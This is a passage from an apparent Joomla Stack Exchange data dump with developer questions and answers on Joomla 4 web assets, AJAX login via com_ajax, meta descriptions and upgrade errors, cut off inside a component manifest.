  <row Id="32838" PostTypeId="1" CreationDate="2023-03-04T13:04:15.560" Score="0" ViewCount="140" Body="&lt;p&gt;I have created a custom Joomla 4x template called 'toccata'. I have a joomla.asset.json file (shown further down below). The file is listed in my templateDetails.xml file and I thought I'd done everything right in my index.php. But, as soon as I add the following three lines, all I get is a white page. No error messages. Just nothing.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$wa-&amp;gt;usePreset('template.toccata')&#xA;-&amp;gt;useStyle('template.user')&#xA;-&amp;gt;useScript('template.user');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is my joomla.asset.json (I'm not using Bootstrap; it's a very simple site and I don't need all the code)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&amp;quot;$schema&amp;quot;: &amp;quot;https://developer.joomla.org/schemas/json-schema/web_assets.json&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;toccata&amp;quot;,&#xA;&amp;quot;version&amp;quot;: &amp;quot;4.0.0&amp;quot;,&#xA;&amp;quot;description&amp;quot;: &amp;quot;This file contains details of the assets used by Toccata, a Joomla 4 site template&amp;quot;,&#xA;&amp;quot;license&amp;quot;: &amp;quot;GPL-2.0-or-later&amp;quot;,&#xA;&amp;quot;assets&amp;quot;: [&#xA;  {&#xA;    &amp;quot;name&amp;quot;: &amp;quot;template.toccata&amp;quot;,&#xA;    &amp;quot;description&amp;quot;: &amp;quot;The main css file&amp;quot;,&#xA;    &amp;quot;type&amp;quot;: &amp;quot;style&amp;quot;,&#xA;    &amp;quot;uri&amp;quot;: &amp;quot;template.css&amp;quot;&#xA;  },&#xA;  {&#xA;    &amp;quot;name&amp;quot;: &amp;quot;template.offline&amp;quot;,&#xA;    &amp;quot;description&amp;quot;: &amp;quot;The css file to be used when the site is offline and offline.php is being used.&amp;quot;,&#xA;    &amp;quot;type&amp;quot;: &amp;quot;style&amp;quot;,&#xA;    &amp;quot;uri&amp;quot;: &amp;quot;offline.css&amp;quot;&#xA;  },&#xA;  {&#xA;    &amp;quot;name&amp;quot;: &amp;quot;template.user&amp;quot;,&#xA;    &amp;quot;description&amp;quot;: &amp;quot;A file where a user can add their own css.&amp;quot;,&#xA;    &amp;quot;type&amp;quot;: &amp;quot;style&amp;quot;,&#xA;    &amp;quot;uri&amp;quot;: &amp;quot;user.css&amp;quot;,&#xA;    &amp;quot;dependencies&amp;quot;: [&#xA;      &amp;quot;template.active&amp;quot;&#xA;    ]&#xA;  },&#xA;  {&#xA;    &amp;quot;name&amp;quot;: &amp;quot;template.toccata&amp;quot;,&#xA;    &amp;quot;description&amp;quot;: &amp;quot;The file containing the javascript for this template.&amp;quot;,&#xA;    &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;    &amp;quot;uri&amp;quot;: &amp;quot;template.js&amp;quot;,&#xA;    &amp;quot;attributes&amp;quot; : {&#xA;      &amp;quot;defer&amp;quot;: true&#xA;    },&#xA;    &amp;quot;dependencies&amp;quot;: [&#xA;      &amp;quot;core&amp;quot;&#xA;    ]&#xA;  },&#xA;  {&#xA;    &amp;quot;name&amp;quot;: &amp;quot;searchtools&amp;quot;,&#xA;    &amp;quot;type&amp;quot;: &amp;quot;style&amp;quot;,&#xA;    &amp;quot;uri&amp;quot;: &amp;quot;system/searchtools/searchtools.min.css&amp;quot;&#xA;  }&#xA; ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the top of my index.php file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php        &#xA;defined('_JEXEC') or die;&#xA;$this-&amp;gt;setMetaData('viewport', 'width=device-width, initial-scale=1');&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Uri\Uri;&#xA;&#xA;$app = Factory::getApplication();&#xA;$wa  = $this-&amp;gt;getWebAssetManager();&#xA;&#xA;// Detecting Active Variables&#xA;$option   = $app-&amp;gt;input-&amp;gt;getCmd('option', '');&#xA;$view     = $app-&amp;gt;input-&amp;gt;getCmd('view', '');&#xA;$layout   = $app-&amp;gt;input-&amp;gt;getCmd('layout', '');&#xA;$task     = $app-&amp;gt;input-&amp;gt;getCmd('task', '');&#xA;$itemid   = $app-&amp;gt;input-&amp;gt;getCmd('Itemid', '');&#xA;$sitename = htmlspecialchars($app-&amp;gt;get('sitename'), ENT_QUOTES, 'UTF-8');&#xA;$menu     = $app-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;$pageclass = $menu !== null ? &#xA;$menu-&amp;gt;getParams()-&amp;gt;get('pageclass_sfx', '') : '';&#xA;// Template path&#xA;$templatePath = 'templates/' . $this-&amp;gt;template;&#xA;&#xA;$wa-&amp;gt;usePreset('template.toccata')&#xA;    -&amp;gt;useStyle('template.user')&#xA;    -&amp;gt;useScript('template.user');&#xA;?&amp;gt;&#xA;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&amp;quot;en-gb&amp;quot; dir=&amp;quot;ltr&amp;quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;jdoc:include type=&amp;quot;metas&amp;quot; /&amp;gt;&#xA;    &amp;lt;jdoc:include type=&amp;quot;styles&amp;quot; /&amp;gt;&#xA;    &amp;lt;jdoc:include type=&amp;quot;scripts&amp;quot; /&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So what am I doing wrong? Is it because I'm not using template.min.css but only template.css?&lt;/p&gt;&#xA;&lt;p&gt;Note: if I include links to the CSS in the head of the document and the template.js at the bottom, deferred, it displays fine.&lt;/p&gt;&#xA;" OwnerUserId="13040" LastActivityDate="2023-03-04T13:04:15.560" Title="I am trying to use joomla.asset.json for a custom template, but I get a white page - why?" Tags="|joomla-4.x|json|html|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="32839" PostTypeId="1" CreationDate="2023-03-04T16:01:18.247" Score="1" ViewCount="78" Body="&lt;p&gt;So when getting a module for rendering inside a component this is not working:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$mod = ModuleHelper::getModuleById(123);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$mod = ModuleHelper::getModuleById(&amp;quot;123&amp;quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That's because inside Joomlas getModuleById function the type is declared to string:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ((string) $modules[$i]-&amp;gt;id === $id) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Does that makes sence? Whats the purpose of that?&lt;/p&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2023-03-04T16:01:18.247" Title="getModuleById parameter parsing" Tags="|module|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32840" PostTypeId="1" CreationDate="2023-03-04T18:23:17.413" Score="0" ViewCount="61" Body="&lt;p&gt;In my Joomla, direct access to subfolders residing in the Joomla folder is forbidden, let's say I have&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;*Joomla&#xA;**PlainHTML&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;so an URL pointed directly to &lt;code&gt;PlainHTML&lt;/code&gt; will produce &lt;code&gt;Error 404&lt;/code&gt;, can we create an exception for this? so we can access the PlainHTML folder directly.&lt;/p&gt;&#xA;" OwnerUserId="14531" LastActivityDate="2023-03-04T18:23:17.413" Title="Direct access to folder within joomla" Tags="|access|subdirectory|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32841" PostTypeId="2" ParentId="32796" CreationDate="2023-03-04T18:47:14.900" Score="1" Body="&lt;p&gt;Now, if I wanted to give a lazy answer on this question I'd just write: you should target the correct URL with your AJAX call for getting the controller method and you are done:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;const url = &amp;quot;/index.php?option=com_users&amp;amp;task=user.login&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;THE CODE PART&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;I just wrote a login/logout Ajax call using vanilla Javascript&lt;/strong&gt; since I like plain javascript more nowadays (jQuery is getting more and more redundant unfortunatelly in web-development). So here it is (tested on Joomla4 Cassiopeia template):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;window.addEventListener('load', () =&amp;gt; {&#xA;  const form = document.getElementById(&amp;quot;login-form-16&amp;quot;);&#xA;  if (form) {&#xA;    form.addEventListener(&amp;quot;submit&amp;quot;,  async e =&amp;gt; { formSubmit(e, form) &#xA;   .then(console.log)&#xA;   .catch(console.log)    &#xA;    });&#xA;  }&#xA;});&#xA;&#xA;async function formSubmit(e, form) {&#xA;&#xA;  e.preventDefault();&#xA;  const formData = new FormData(form);&#xA;&#xA;  const response = await fetch(&amp;quot;/index.php?option=&amp;quot; + formData.get('option') + &amp;quot;&amp;amp;task=&amp;quot; + formData.get('task'),&#xA;  {&#xA;    method: &amp;quot;POST&amp;quot;,&#xA;    body: formData,&#xA;  });&#xA;&#xA;  if (response.ok) {&#xA;    return Promise.resolve(&amp;quot;the user is logged in or out&amp;quot;).then(location.reload());&#xA;  } else {&#xA;    return Promise.reject(&amp;quot;User login/logout controller was not found&amp;quot;);&#xA;  }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The user is logged in and out and stays on the same page with this script but nothing more. This script is not even using any sanitization or response on bad or not existing user credentials, a lot of other work... However it log in and out existing users. This is just a starter code for this task. I do not see the real purpose and value of using this particularly in Joomla Login/logout, other than &amp;quot;no default redirection after login&amp;quot;, since Joomla is still an almost fully server side rendered content management system with quite great user management. But that is only me, maybe others want to use these things on their Joomla4 later.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;WHAT OTHER OPTIONS WE HAVE ON THIS?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;As we can see, calling the &lt;strong&gt;com_user&lt;/strong&gt; component &lt;strong&gt;user controller login method&lt;/strong&gt; via Ajax is almost totally useless, this method is not for Ajax call at all. You will not get any valuable response from doing that.&lt;/p&gt;&#xA;&lt;p&gt;The other and better approach is creating your own custom plugin or module and you can get further with those. &lt;strong&gt;Terry Carter created an Ajax login plugin&lt;/strong&gt; in his answer here in 2020. It was for Joomla 3 but easily can be followed and recreated for Joomla 4:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/26634/external-login-script-and-getdbo&quot;&gt;External Login Script and getDbo()&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I also created my own version of Login/Logout few days ago with using the advantage of &lt;strong&gt;com_ajax&lt;/strong&gt; placing my own Ajax login method in my &lt;strong&gt;Cassiopeia child template&lt;/strong&gt; in Joomla 4. &lt;code&gt;com_ajax&lt;/code&gt; in Joomla handles Ajax calls not only for plugins and modules but for template helper files too. Much less people used this feature, however it is more confortable than creating plugins in my opinion. So I share this, maybe some people would like to use this approach.&lt;/p&gt;&#xA;&lt;p&gt;I just created a &lt;code&gt;helper.php&lt;/code&gt; file in the root directory of my child template and that way I can call that class and method via com_ajax.&lt;/p&gt;&#xA;&lt;p&gt;My template is called &lt;code&gt;Cassiopeia_cassiozoll&lt;/code&gt;, so I had to create this class:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  Templates.Cassiopeia_cassiozoll&#xA; *&#xA; * @copyright   -- no copyright --&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Session\Session;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Response\JsonResponse;&#xA;&#xA;&#xA;class TplCassiopeiacassiozollHelper&#xA;{&#xA;    public static function loginUserAjax() {       &#xA;&#xA;        $app = Factory::getApplication();&#xA;&#xA;        // checking Token&#xA;        if ($app-&amp;gt;isClient('site')) {&#xA;            Session::checkToken('post') or die(Text::_('JINVALID_TOKEN'));            &#xA;        } &#xA;&#xA;        $input = $app-&amp;gt;getInput();        &#xA;&#xA;        if ($input-&amp;gt;getMethod() === 'POST') {&#xA;&#xA;            $credentials = $input-&amp;gt;getArray();&#xA;&#xA;            $loggedIn = $input-&amp;gt;cookie-&amp;gt;get('joomla_user_state');        &#xA;&#xA;            $options = array();&#xA;&#xA;            $userID = null;&#xA;            $name = null;&#xA;&#xA;            if ($loggedIn === &amp;quot;logged_in&amp;quot;)&#xA;            {&#xA;                $userID = $app-&amp;gt;getIdentity()-&amp;gt;id;&#xA;                $result = $app-&amp;gt;logout($userID, $options);&#xA;                $loggedIn = $result ? null : 'logged_in';&#xA;                $userID = $result ? null : $userID;&#xA;            }&#xA;            else&#xA;            {&#xA;                $result = $app-&amp;gt;login($credentials, $options);&#xA;                $userID = $app-&amp;gt;getIdentity()-&amp;gt;id;&#xA;                $name = $app-&amp;gt;getIdentity()-&amp;gt;name;&#xA;                $loggedIn = $result ? 'logged_in' : null;&#xA;            }&#xA;&#xA;            $allResult = array('result'=&amp;gt; $result, 'userID' =&amp;gt; $userID, 'name' =&amp;gt; $name, 'loggedin' =&amp;gt; $loggedIn);&#xA;            &#xA;            return new JsonResponse($allResult);        &#xA;        &#xA;        }&#xA;        else &#xA;        {&#xA;            return;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And via this file we can reach the Application login/logout method and we have all the responses we need during login/logout. And we just call this method with our Javascript file similarly as above:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;window.addEventListener('load', () =&amp;gt; {&#xA;  const form = document.getElementById(&amp;quot;login-form-16&amp;quot;);&#xA;  if (form) {&#xA;    form.addEventListener(&amp;quot;submit&amp;quot;,  async e =&amp;gt; { formSubmit(e, form) &#xA;      .then( (response) =&amp;gt; {&#xA;          console.log(response);&#xA;&#xA;          if (response.data.messages) {&#xA;              warningMessage(form, response.data.messages)&#xA;          } else {&#xA;              location.reload()&#xA;          }&#xA;          &#xA;      })&#xA;      .catch(console.log)    &#xA;    });&#xA;  }&#xA;});&#xA;&#xA;async function formSubmit(e, form) {&#xA;&#xA;  e.preventDefault();&#xA;&#xA;  const formData = new FormData(form);&#xA;  formData.delete('option');&#xA;  formData.delete('task');&#xA;&#xA;  const myRequest = new Request( &#xA;      &amp;quot;/index.php?option=com_ajax&amp;amp;template=cassiopeia_cassiozoll&amp;amp;method=loginUser&amp;amp;format=json&amp;quot;,&#xA;      {&#xA;        method: &amp;quot;POST&amp;quot;,&#xA;        body: formData,&#xA;      }&#xA;    );&#xA;&#xA;  const response = await fetch(myRequest)&#xA;  &#xA;  if (response.ok) {&#xA;      return response.json();&#xA;  } else {&#xA;      return Promise.reject(&amp;quot;User login/logout was not found&amp;quot;);&#xA;  }&#xA;};&#xA;&#xA;// let's do some warning if password is empty or login problems&#xA;function warningMessage(element, message) {&#xA;&#xA;  const loginElement = element.parentElement;&#xA;  &#xA;  for (let i = 0; i &amp;lt; message.warning.length; i++) {&#xA;      const errorMessage = document.createElement('span');&#xA;      errorMessage.style.cssText += 'color: red; background-color: WhiteSmoke; padding: 1rem; font-weight: bolder;';&#xA;      errorMessage.textContent = message.warning[i];&#xA;      loginElement.parentNode.insertBefore(errorMessage, loginElement);&#xA;  }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And it is actually done. This method is using the core login/logout of Joomla and we get warning messages from these core methods. But on successful login we still have to reload the page if we do not want to waste our time to create a lot of other things just to refresh everything asynchronously.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR - OTHER CONSIDERATIONS OF THIS APPROACH AND PROBLEM OF LOGIN WITH USING AJAX IN JOOMLA&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This could be a much more interesting question for some developers on Joomla. &lt;strong&gt;I am also a big fan of the usage of Javascript&lt;/strong&gt; on front-end of websites. However this question is interesting from few other angles. I like the Javascript controlled client requests &lt;strong&gt;when submitting Forms&lt;/strong&gt;. It is just much more elegant nowadays. The only exception would be logging in and out users in Joomla. &lt;strong&gt;Why?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Unless you have a client side rendered&lt;/strong&gt; (I mean with client side &lt;code&gt;state management&lt;/code&gt; like Vue and React for example), custom made Template/theme on your Joomla, &lt;strong&gt;you will have to reload the page (from the server)&lt;/strong&gt; after you logged in/out the user by using an Ajax request. Thus there is not much advantage of using Ajax for login compared to the normal Joomla http request on submit. Because it is one thing to log in users in Joomla but after that you should be able to get the Joomla User object with Javascript to identify your user and get his display name (not username), you should get the user roles and access permissions and update asynchronously the contents corresponding with the access level and so on... it might get a bit complicated by using Javascript.&lt;/p&gt;&#xA;&lt;p&gt;So it is just much easier in Joomla to reload the current location/page right away when the user is logged in by an Ajax call and then it becomes visible in the standard Joomla login module with the user's display name. So you do not have to waste your time to refresh/replace the login module HTML by using Javascript. And then you also might want to logout the users with using the same script. So it can get just a little more complex.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;But as I see it in your question,&lt;/strong&gt; your problem with using the standard Joomla login method &lt;strong&gt;is actually the redirection and not the login method&lt;/strong&gt; in the first place. You just want to let your users staying on the same page after logging in and out. You do not want them to be redirected to profile page or to home page or anywhere when they are signing in (if I understood this well in your question).&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2023-03-12T10:24:47.963" LastActivityDate="2023-03-12T10:24:47.963" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32842" PostTypeId="1" CreationDate="2023-03-04T20:20:09.820" Score="1" ViewCount="205" Body="&lt;p&gt;I want to create a Joomla Module that has the capability to write its own text based on the GET data within the submitted URL, it sounds feasible, let's say the submitted URL is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;yourdomain.com/index.php?yourarea=JAKARTA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;then the created text is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JAKARTA is within our service coverage area&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now I want the &lt;code&gt;JAKARTA is within our service coverage area&lt;/code&gt; to be visible in the Description metadata in the HTML Header, it is the Joomla website of course. it should look like this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;&amp;lt;meta name=&amp;quot;description&amp;quot; content=&amp;quot;JAKARTA is within our service coverage area&amp;quot;&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Consider Google SEO, I want this meta description to be rendered as early as possible because I want Google to Catch this and recognize it as valid metadata.&#xA;Can we do that?&lt;/p&gt;&#xA;" OwnerUserId="14531" LastActivityDate="2023-03-05T16:25:03.507" Title="Manipulate Meta Description Content using Joomla Module" Tags="|module|header|metadata|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32843" PostTypeId="2" ParentId="32842" CreationDate="2023-03-05T16:25:03.507" Score="1" Body="&lt;p&gt;Yes, you can do that with something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;$keyword = Factory::getApplication()-&amp;gt;input-&amp;gt;get('yourarea', '', 'string');&#xA;$document = Factory::getDocument();&#xA;&#xA;if($keyword)&#xA;{&#xA;    $document-&amp;gt;setDescription($keyword . ' is within our service coverage area');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2023-03-05T16:25:03.507" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32844" PostTypeId="1" AcceptedAnswerId="32846" CreationDate="2023-03-06T08:55:48.617" Score="0" ViewCount="563" Body="&lt;p&gt;I'm using Virtuemart 3 and Joomla 3, after upgrarding to VM 4 and Joomla 4, it say error &lt;code&gt;Class 'JDispatcher' not found&lt;/code&gt; from &lt;code&gt;JROOT/plugins/vmshipment/rules_shipping_advanced/rules_shipping_framework_joomla.php:39&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is the error causing code part:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JPluginHelper::importPlugin('vmshipmentrules');&#xA;$dispatcher = JDispatcher::getInstance();&#xA;$defs = $dispatcher-&amp;gt;trigger('onVmShippingRulesRegisterCustomFunctions',array());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have done many search on google but no result, can you help?&lt;/p&gt;&#xA;" OwnerUserId="12583" LastEditorUserId="12524" LastEditDate="2023-03-06T13:33:28.857" LastActivityDate="2023-03-06T13:33:28.857" Title="Virtuemart class 'JDispatcher' not found error when upgrade Joomla 3 to Joomla 4" Tags="|joomla-4.x|virtuemart|upgrade|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32845" PostTypeId="2" ParentId="32789" CreationDate="2023-03-06T13:12:47.957" Score="0" Body="&lt;p&gt;The NR Framework system plugin is from tassos.gr. Uninstall of the tassos.gr plugin did the trick.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2023-03-06T13:12:47.957" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32846" PostTypeId="2" ParentId="32844" CreationDate="2023-03-06T13:17:01.923" Score="1" Body="&lt;p&gt;I found a solution, it works.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\Event\Dispatcher as EventDispatcher;&#xA;$dispatcher = new EventDispatcher();&#xA;$defs = $dispatcher-&amp;gt;triggerEvent('onVmShippingRulesRegisterCustomFunctions',array());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12583" LastActivityDate="2023-03-06T13:17:01.923" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32847" PostTypeId="1" AcceptedAnswerId="32850" CreationDate="2023-03-06T14:45:25.520" Score="2" ViewCount="856" Body="&lt;p&gt;I am using Cassiopeia and Joomla 4. I want to add a slideshow.js and user.css file.&lt;/p&gt;&#xA;&lt;p&gt;I have already added the CSS file and it seems to be picking it up fine. I added the slideshow.js, but doesn't pick up automatically? How can I include this in the head?&lt;/p&gt;&#xA;&lt;p&gt;Also, when I update Joomla will these files get wiped like they did with Joomla 3.x?&lt;/p&gt;&#xA;&lt;p&gt;Note: I realise the CSS file appeared because I called it user.css, but with the slideshow file I need to load that after every other JS file.&lt;/p&gt;&#xA;" OwnerUserId="7998" LastEditorUserId="12352" LastEditDate="2023-03-06T20:00:37.897" LastActivityDate="2023-03-07T09:08:28.917" Title="Joomla 4 - Cassiopeia add JS and CSS" Tags="|javascript|css|carousel|custom|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32848" PostTypeId="1" AcceptedAnswerId="32849" CreationDate="2023-03-06T15:11:03.417" Score="2" ViewCount="265" Body="&lt;p&gt;Joomla 4.2.8 (current stable at time of writing)&lt;/p&gt;&#xA;&lt;p&gt;What does the button &lt;strong&gt;Reinstall Joomla! Core Files&lt;/strong&gt; actually do? What are the 'core files'?&lt;/p&gt;&#xA;&lt;p&gt;I am experiencing some issues on my site and I've seen this as a suggested resolution.&lt;/p&gt;&#xA;&lt;p&gt;I'm not sure if doing this will have any other adverse affect on my site?&lt;/p&gt;&#xA;&lt;p&gt;My site is pretty standard, no overrides or customisations (apart from css). I have several third party plugins and extensions installed.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2023-03-07T08:42:43.650" Title="Joomla 4 Reinstall Core FIles" Tags="|joomla-4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32849" PostTypeId="2" ParentId="32848" CreationDate="2023-03-07T08:42:43.650" Score="1" Body="&lt;p&gt;It &lt;strong&gt;installs all the files&lt;/strong&gt; from Joomla 4.2.8 that are &lt;strong&gt;in Joomla! 4.2.8 Full Package&lt;/strong&gt; (.zip) &lt;a href=&quot;https://downloads.joomla.org/cms/joomla4/4-2-8&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://downloads.joomla.org/cms/joomla4/4-2-8&lt;/a&gt; &lt;strong&gt;except&lt;/strong&gt; from the &lt;strong&gt;/installation folder&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;It does not touch your configuration.php and neither the extensions that you installed yourself.&lt;/p&gt;&#xA;&lt;p&gt;If did your changes the right way, using template overrides, then those won't be overwritten either.&lt;/p&gt;&#xA;&lt;p&gt;In any case, before such large changes as these, it's recommended to create a full back-up of your website (files + database), e.g. using Akeeba Backup.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2023-03-07T08:42:43.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32850" PostTypeId="2" ParentId="32847" CreationDate="2023-03-07T09:08:28.917" Score="2" Body="&lt;p&gt;The old method to add stylesheets and scripts to the doc head was to use the HTMLHelper. An good explanation how to use that: &lt;a href=&quot;https://rolandd.com/blog/joomla/adding-stylesheets-scripts-and-images&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://rolandd.com/blog/joomla/adding-stylesheets-scripts-and-images&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Since Joomla 4&lt;/strong&gt; you can use &lt;strong&gt;Web Assets&lt;/strong&gt; to &lt;strong&gt;add CSS/JS&lt;/strong&gt; to your doc head, see: &lt;a href=&quot;https://docs.joomla.org/J4.x:Web_Assets&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J4.x:Web_Assets&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;More info about WebAssetManager and using it in Joomla 4 templates:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://kevinsguides.com/guides/webdev/joomla4/ref/j4webassetmanager&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://kevinsguides.com/guides/webdev/joomla4/ref/j4webassetmanager&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://kevinsguides.com/guides/webdev/joomla4/joomla-4-templates/develop-j4-template&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://kevinsguides.com/guides/webdev/joomla4/joomla-4-templates/develop-j4-template&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Never edit Joomla's core files&lt;/strong&gt;. Core hacks can cause issues and can be overwritten with the next update. Instead you could use Template Overrides or Child Themes or add them using plugins.&lt;/p&gt;&#xA;&lt;p&gt;More Tips &amp;amp; Tricks regarding Joomla's Cassiopeia template: &lt;a href=&quot;https://magazine.joomla.org/all-issues/february-2022/joomla-4-cassiopeia-template-a-bunch-of-tips-tricks&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://magazine.joomla.org/all-issues/february-2022/joomla-4-cassiopeia-template-a-bunch-of-tips-tricks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2023-03-07T09:08:28.917" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32851" PostTypeId="1" CreationDate="2023-03-07T14:42:40.523" Score="3" ViewCount="516" Body="&lt;p&gt;I am trying to create a simple component. After installation of the component I get the following error message in the admin view:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;An error has occurred.&#xA;0 Invalid controller class: display&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I've already seen &lt;a href=&quot;https://joomla.stackexchange.com/questions/32548/joomla-4-invalid-controller-classdisplay&quot;&gt;this&lt;/a&gt; question from another user but adding the &lt;code&gt;&amp;lt;namespace&amp;gt;&lt;/code&gt;-tag didn't solve the error.&lt;/p&gt;&#xA;&lt;h5&gt;mycomponent.xml&lt;/h5&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension version=&amp;quot;1.0.0&amp;quot; type=&amp;quot;component&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;MyComponent&amp;lt;/name&amp;gt;&#xA;    &amp;lt;namespace path=&amp;quot;src&amp;quot;&amp;gt;Firecase\Component\MyComponent&amp;lt;/namespace&amp;gt;&#xA;    &amp;lt;administration&amp;gt;&#xA;        &amp;lt;menu&amp;gt;MyComponent&amp;lt;/menu&amp;gt;&#xA;        &amp;lt;files folder=&amp;quot;admin&amp;quot;&amp;gt;&#xA;            &amp;lt;folder&amp;gt;services&amp;lt;/folder&amp;gt;&#xA;            &amp;lt;folder&amp;gt;src&amp;lt;/folder&amp;gt;&#xA;            &amp;lt;folder&amp;gt;tmpl&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;/files&amp;gt;&#xA;    